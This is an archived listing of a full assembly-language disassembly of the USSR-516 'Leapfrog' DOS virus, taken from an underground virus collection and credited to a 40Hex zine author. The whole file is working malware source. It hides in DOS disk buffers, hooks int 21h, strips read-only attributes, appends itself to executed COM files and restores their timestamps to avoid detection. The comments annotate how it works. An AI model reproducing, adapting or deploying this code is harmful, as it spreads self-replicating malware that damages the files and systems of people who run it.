home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / l / leap_frg.asm next >
Encoding:
Assembly Source File  |  1998-01-14  |  13.7 KB  |  279 lines

  1.  
  2.  
  3. ussr516         segment byte public
  4.  
  5.                 assume  cs:ussr516, ds:ussr516
  6.  
  7.                 org     100h
  8.  
  9. ; Disassembled by Dark Angel of PHALCON/SKISM
  10.  
  11. ; for 40Hex Number 7 Volume 2 Issue 3
  12.  
  13. stub:           db      0e9h, 0, 0
  14.  
  15.                 db      0e9h, 1, 0, 0
  16.  
  17. ; This is where the virus really begins
  18.  
  19. start:
  20.  
  21.                 push    ax
  22.  
  23.                 call    beginvir
  24.  
  25.  
  26.  
  27. orig4           db      0cdh, 20h, 0, 0
  28.  
  29. int30store      db      0, 0, 0, 0                     ; Actually it's int 21h
  30.  
  31.                                                        ; entry point
  32.  
  33. int21store      db      0, 0, 0, 0
  34.  
  35.  
  36.  
  37. beginvir:       pop     bp                             ; BP -> orig4
  38.  
  39.                 mov     si,bp
  40.  
  41.                 mov     di,103h
  42.  
  43.                 add     di,[di-2]                      ; DI -> orig4
  44.  
  45.                 movsw                                  ; restore original
  46.  
  47.                 movsw                                  ; 4 bytes of program
  48.  
  49.                 xor     si,si
  50.  
  51.                 mov     ds,si
  52.  
  53.                 les     di,dword ptr ds:[21h*4]
  54.  
  55.                 mov     [bp+8],di                      ; int21store
  56.  
  57.                 mov     [bp+0Ah],es
  58.  
  59.                 lds     di,dword ptr ds:[30h*4+1]      ; Bug????
  60.  
  61. findmarker:
  62.  
  63.                 inc     di
  64.  
  65.                 cmp     word ptr [di-2],0E18Ah         ; Find marker bytes
  66.  
  67.                 jne     findmarker                     ; to the entry point
  68.  
  69.                 mov     [bp+4],di                      ; and move to
  70.  
  71.                 mov     [bp+6],ds                      ; int30store
  72.  
  73.                 mov     ax,5252h                       ; Get list of lists
  74.  
  75.                 int     21h                            ; and also ID check
  76.  
  77.  
  78.  
  79.                 add     bx,12h                         ; Already installed?
  80.  
  81.                 jz      quitvir                        ; then exit
  82.  
  83.                 push    bx
  84.  
  85.                 mov     ah,30h                         ; Get DOS version
  86.  
  87.                 int     21h
  88.  
  89.  
  90.  
  91.                 pop     bx                             ; bx = 12, ptr to 1st
  92.  
  93.                                                        ; disk buffer
  94.  
  95.                 cmp     al,3
  96.  
  97.                 je      handlebuffer                   ; if DOS 3
  98.  
  99.                 ja      handleDBHCH                    ; if > DOS 3
  100.  
  101.                 inc     bx                             ; DOS 2.X, offset is 13
  102.  
  103. handlebuffer:
  104.  
  105.                 push    ds
  106.  
  107.                 push    bx
  108.  
  109.                 lds     bx,dword ptr [bx]              ; Get seg:off of buffer
  110.  
  111.                 inc     si
  112.  
  113.                 pop     di
  114.  
  115.                 pop     es                             ; ES:DI->seg:off buff
  116.  
  117.                 mov     ax,[bx]                        ; ptr to next buffer
  118.  
  119.                 cmp     ax,0FFFFh                      ; least recently used?
  120.  
  121.                 jne     handlebuffer                   ; if not, go find it
  122.  
  123.                 cmp     si,3
  124.  
  125.                 jbe     quitvir
  126.  
  127.                 stosw
  128.  
  129.                 stosw
  130.  
  131.                 jmp     short movetobuffer
  132.  
  133. handleDBHCH:   ; Disk Buffer Hash Chain Head array
  134.  
  135.                 lds     si,dword ptr [bx]              ; ptr to disk buffer
  136.  
  137.                 lodsw                                  ; info
  138.  
  139.                 lodsw                                  ; seg of disk buffer
  140.  
  141.                                                        ; hash chain head array
  142.  
  143.                 inc     ax                             ; second entry
  144.  
  145.                 mov     ds,ax
  146.  
  147.                 xor     bx,bx
  148.  
  149.                 mov     si,bx
  150.  
  151.                 lodsw                                  ; EMS page, -1 if not
  152.  
  153.                                                        ; in EMS
  154.  
  155.                 xchg    ax,di                          ; save in di
  156.  
  157.                 lodsw                                  ; ptr to least recently
  158.  
  159.                                                        ; used buffer
  160.  
  161.                 mov     [di+2],ax                      ; change disk buffer
  162.  
  163.                                                        ; backward offset to
  164.  
  165.                                                        ; least recently used
  166.  
  167.                 xchg    ax,di                          ; restore EMS page
  168.  
  169.                 mov     [di],ax                        ; set to least recently
  170.  
  171. movetobuffer:                                          ; used
  172.  
  173.                 mov     di,bx
  174.  
  175.                 push    ds
  176.  
  177.                 pop     es                             ; ES:DI -> disk buffer
  178.  
  179.                 push    cs
  180.  
  181.                 pop     ds
  182.  
  183.                 mov     cx,108h
  184.  
  185.                 lea     si,[bp-4]                      ; Copy from start
  186.  
  187.                 rep     movsw
  188.  
  189.                 mov     ds,cx                          ; DS -> interrupt table
  190.  
  191.                 mov     word ptr ds:[4*21h],0BCh       ; New interrupt handler
  192.  
  193.                 mov     word ptr ds:[4*21h+2],es       ; at int21
  194.  
  195. quitvir:
  196.  
  197.                 push    cs                             ; CS = DS = ES
  198.  
  199.                 pop     es
  200.  
  201.                 push    es
  202.  
  203.                 pop     ds
  204.  
  205.                 pop     ax
  206.  
  207.                 mov     bx,ax
  208.  
  209.                 mov     si, 100h                       ; set up stack for
  210.  
  211.                 push    si                             ; the return to the
  212.  
  213.                 retn                                   ; original program
  214.  
  215. int24:
  216.  
  217.                 mov     al,3                           ; Ignore all errors
  218.  
  219.                 iret
  220.  
  221. tickstore       db      3                              ; Why???
  222.  
  223. buffer          db      3, 0, 9, 0
  224.  
  225.  
  226.  
  227. int21:
  228.  
  229.                 pushf
  230.  
  231.                 cli                                    ; CP/M style call entry
  232.  
  233.                 call    dword ptr cs:[int30store-start]
  234.  
  235.                 retn                                   ; point of int 21h
  236.  
  237.  
  238.  
  239. int21DSDX:                                             ; For int 21h calls
  240.  
  241.                 push    ds                             ; with
  242.  
  243.                 lds     dx,dword ptr [bp+2]            ; DS:DX -> filename
  244.  
  245.                 call    int21
  246.  
  247.                 pop     ds
  248.  
  249.                 retn
  250.  
  251.  
  252.  
  253.                 cmp     ax,4B00h                       ; Execute
  254.  
  255.                 je      Execute
  256.  
  257.                 cmp     ax,5252h                       ; ID check
  258.  
  259.                 je      CheckID
  260.  
  261.                 cmp     ah,30h                         ; DOS Version
  262.  
  263.                 je      DosVersion
  264.  
  265. callorig21:                                            ; Do other calls
  266.  
  267.                 jmp     dword ptr cs:[int21store-start]
  268.  
  269. DosVersion:    ; Why?????                             ; DOS Version
  270.  
  271.                 dec     byte ptr cs:[tickstore-start]
  272.  
  273.                 jnz     callorig21                     ; Continue if not 0
  274.  
  275.                 push    es
  276.  
  277.                 xor     ax,ax
  278.  
  279.                 push    ax
  280.  
  281.                 mov     es,ax
  282.  
  283.                 mov     al,es:[46Ch]                   ; 40h:6Ch = Timer ticks
  284.  
  285.                                                        ; since midnight
  286.  
  287.                 and     al,7                           ; MOD 15
  288.  
  289.                 inc     ax
  290.  
  291.                 inc     ax
  292.  
  293.                 mov     cs:[tickstore-start],al        ; # 2-17
  294.  
  295.                 pop     ax
  296.  
  297.                 pop     es
  298.  
  299.                 iret
  300.  
  301. CheckID:                                               ; ID Check
  302.  
  303.                 mov     bx,0FFEEh                      ; FFEEh = -12h
  304.  
  305.                 iret
  306.  
  307. Execute:                                               ; Execute
  308.  
  309.                 push    ax                             ; Save registers
  310.  
  311.                 push    cx
  312.  
  313.                 push    es
  314.  
  315.                 push    bx
  316.  
  317.                 push    ds                             ; DS:DX -> filename
  318.  
  319.                 push    dx                             ; save it on stack
  320.  
  321.                 push    bp
  322.  
  323.                 mov     bp,sp                          ; Set up stack frame
  324.  
  325.                 sub     sp,0Ah                         ; Temporary variables
  326.  
  327.                                                        ; [bp-A] = attributes
  328.  
  329.                                                        ; [bp-8] = int 24 off
  330.  
  331.                                                        ; [bp-6] = int 24 seg
  332.  
  333.                                                        ; [bp-4] = file time
  334.  
  335.                                                        ; [bp-2] = file date
  336.  
  337.                 sti
  338.  
  339.                 push    cs
  340.  
  341.                 pop     ds
  342.  
  343.                 mov     ax,3301h                       ; Turn off ^C check
  344.  
  345.                 xor     dl,dl                          ; (never turn it back
  346.  
  347.                 call    int21                          ;  on.  Bug???)
  348.  
  349.                 mov     ax,3524h                       ; Get int 24h
  350.  
  351.                 call    int21                          ; (Critical error)
  352.  
  353.                 mov     [bp-8],bx
  354.  
  355.                 mov     [bp-6],es
  356.  
  357.                 mov     dx,int24-start
  358.  
  359.                 mov     ax,2524h                       ; Set to new one
  360.  
  361.                 call    int21
  362.  
  363.                 mov     ax,4300h                       ; Get attributes
  364.  
  365.                 call    int21DSDX
  366.  
  367.                 jnc     continue
  368.  
  369. doneinfect:
  370.  
  371.                 mov     ax,2524h                       ; Restore crit error
  372.  
  373.                 lds     dx,dword ptr [bp-8]            ; handler
  374.  
  375.                 call    int21
  376.  
  377.                 cli
  378.  
  379.                 mov     sp,bp
  380.  
  381.                 pop     bp
  382.  
  383.                 pop     dx
  384.  
  385.                 pop     ds
  386.  
  387.                 pop     bx
  388.  
  389.                 pop     es
  390.  
  391.                 pop     cx
  392.  
  393.                 pop     ax
  394.  
  395.                 jmp     short callorig21               ; Call orig handler
  396.  
  397. continue:
  398.  
  399.                 mov     [bp-0Ah],cx                    ; Save attributes
  400.  
  401.                 test    cl,1                           ; Check if r/o????
  402.  
  403.                 jz      noclearattr
  404.  
  405.                 xor     cx,cx
  406.  
  407.                 mov     ax,4301h                       ; Clear attributes
  408.  
  409.                 call    int21DSDX                      ; Filename in DS:DX
  410.  
  411.                 jc      doneinfect                     ; Quit on error
  412.  
  413. noclearattr:
  414.  
  415.                 mov     ax,3D02h                       ; Open read/write
  416.  
  417.                 call    int21DSDX                      ; Filename in DS:DX
  418.  
  419.                 jc      doneinfect                     ; Exit if error
  420.  
  421.                 mov     bx,ax
  422.  
  423.                 mov     ax,5700h                       ; Save time/date
  424.  
  425.                 call    int21
  426.  
  427.                 mov     [bp-4],cx
  428.  
  429.                 mov     [bp-2],dx
  430.  
  431.                 mov     dx,buffer-start
  432.  
  433.                 mov     cx,4
  434.  
  435.                 mov     ah,3Fh                         ; Read 4 bytes to
  436.  
  437.                 call    int21                          ; buffer
  438.  
  439.                 jc      quitinf
  440.  
  441.                 cmp     byte ptr ds:[buffer-start],0E9h; Must start with 0E9h
  442.  
  443.                 jne     quitinf                        ; Otherwise, quit
  444.  
  445.                 mov     dx,word ptr ds:[buffer+1-start]; dx = jmploc
  446.  
  447.                 dec     dx
  448.  
  449.                 xor     cx,cx
  450.  
  451.                 mov     ax,4201h                       ; go there
  452.  
  453.                 call    int21
  454.  
  455.                 mov     ds:[buffer-start],ax           ; new location offset
  456.  
  457.                 mov     dx,orig4-start
  458.  
  459.                 mov     cx,4
  460.  
  461.                 mov     ah,3Fh                         ; Read 4 bytes there
  462.  
  463.                 call    int21
  464.  
  465.                 mov     dx,ds:[orig4-start]
  466.  
  467.                 cmp     dl,0E9h                        ; 0E9h means we might
  468.  
  469.                 jne     infect                         ; already be there
  470.  
  471.                 mov     ax,ds:[orig4+2-start]          ; continue checking
  472.  
  473.                 add     al,dh                          ; to see if we really
  474.  
  475.                 sub     al,ah                          ; are there.
  476.  
  477.                 jz      quitinf
  478.  
  479. infect:
  480.  
  481.                 xor     cx,cx
  482.  
  483.                 mov     dx,cx
  484.  
  485.                 mov     ax,4202h                       ; Go to EOF
  486.  
  487.                 call    int21
  488.  
  489.                 mov     ds:[buffer+2-start],ax         ; save filesize
  490.  
  491.                 mov     cx,204h
  492.  
  493.                 mov     ah,40h                         ; Write virus
  494.  
  495.                 call    int21
  496.  
  497.                 jc      quitinf                        ; Exit if error
  498.  
  499.                 sub     cx,ax
  500.  
  501.                 jnz     quitinf
  502.  
  503.                 mov     dx,ds:[buffer-start]
  504.  
  505.                 mov     ax,ds:[buffer+2-start]
  506.  
  507.                 sub     ax,dx
  508.  
  509.                 sub     ax,3                           ; AX->jmp offset
  510.  
  511.                 mov     word ptr ds:[buffer+1-start],ax; Set up buffer
  512.  
  513.                 mov     byte ptr ds:[buffer-start],0E9h; code the jmp
  514.  
  515.                 add     al,ah
  516.  
  517.                 mov     byte ptr ds:[buffer+3-start],al
  518.  
  519.                 mov     ax,4200h                       ; Rewind to jmploc
  520.  
  521.                 call    int21
  522.  
  523.                 mov     dx, buffer-start
  524.  
  525.                 mov     cx,4                           ; Write in the jmp
  526.  
  527.                 mov     ah,40h
  528.  
  529.                 call    int21
  530.  
  531. quitinf:
  532.  
  533.                 mov     cx,[bp-4]
  534.  
  535.                 mov     dx,[bp-2]
  536.  
  537.                 mov     ax,5701h                       ; Restore date/time
  538.  
  539.                 call    int21
  540.  
  541.                 mov     ah,3Eh                         ; Close file
  542.  
  543.                 call    int21
  544.  
  545.                 mov     cx,[bp-0Ah]                    ; Restore attributes
  546.  
  547.                 mov     ax,4301h
  548.  
  549.                 call    int21DSDX
  550.  
  551.                 jmp     doneinfect                     ; Return
  552.  
  553. ussr516         ends
  554.  
  555.                 end     stub
  556.  
  557.